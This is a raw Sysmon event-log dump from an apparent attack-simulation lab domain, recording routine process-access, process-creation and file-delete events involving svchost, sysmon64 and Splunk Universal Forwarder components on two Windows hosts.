14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014066Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014065Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014064Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014063Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014062Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F8E-613B-9E04-00000000F101}3384C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014061Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.049{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F8E-613B-9E04-00000000F101}3384C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014060Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:34.050{625C326B-6F8E-613B-9E04-00000000F101}3384C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000014104Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.924{625C326B-6F8F-613B-A004-00000000F101}37482604C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014103Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F8F-613B-A004-00000000F101}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014102Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014101Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014100Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014099Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014098Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014097Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014096Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014095Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014094Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014093Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F8F-613B-A004-00000000F101}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014092Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.674{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F8F-613B-A004-00000000F101}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014091Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.675{625C326B-6F8F-613B-A004-00000000F101}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014090Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.424{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=74C6E72EECF37440B7532F42C315D0DE,SHA256=35FF24102F6F6609698042611D4288706991BF1D333FAE9839918C856255FC24,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:35.008{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4FC1968D96EB2058EEF2DBEE32849785,SHA256=982978C7A0BD829A4CD96EA09FE9C6745DDBCF034D29FEF838FC324FE6AD84AA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014089Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.393{625C326B-6F8F-613B-9F04-00000000F101}3596372C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014088Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F8F-613B-9F04-00000000F101}3596C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014087Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014086Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:35.174{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014085Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 